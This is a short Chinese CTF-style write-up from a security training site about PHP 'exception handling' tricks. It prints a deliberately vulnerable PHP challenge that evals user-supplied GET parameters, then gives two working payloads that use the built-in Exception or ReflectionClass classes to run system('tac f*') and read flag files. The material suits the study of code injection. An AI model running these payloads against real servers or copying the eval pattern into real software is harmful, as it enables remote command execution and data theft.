PHP特性:异常处理

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
        eval("echo new $v1($v2());");
    }

}
?>

先来看下这个正则表达式/[a-zA-Z]+/ 匹配至少有一个字母的字符串
所以我们只要让new后面有个类不报错以后,就可以随意构造了。我们随便找个php中的内置类并且可以直接echo输出的就可以了。
举两个例子

Exception

ReflectionClass

payload:

v1=Exception();system(‘tac f*’);//&v2=a

v1=ReflectionClass&v2=system(‘tac f*’)

(这里我的个人理解是,本题中不存在这个实例化的类,所以第一条语句需要先异常处理,进而执行我们的第二条语句)

Tips:鼠标经过代码时会出现工具栏,工具栏上方有一键复制代码的功能哦~天云网络培训,专注于网络空间安全相关培训,并提供相关课程的在线培训 报名微信 tyedu1
天云网络培训 » PHP特性:异常处理

提供专业、易懂、平民化教育。让每个热爱网络的人有个归宿

立即查看 了解详情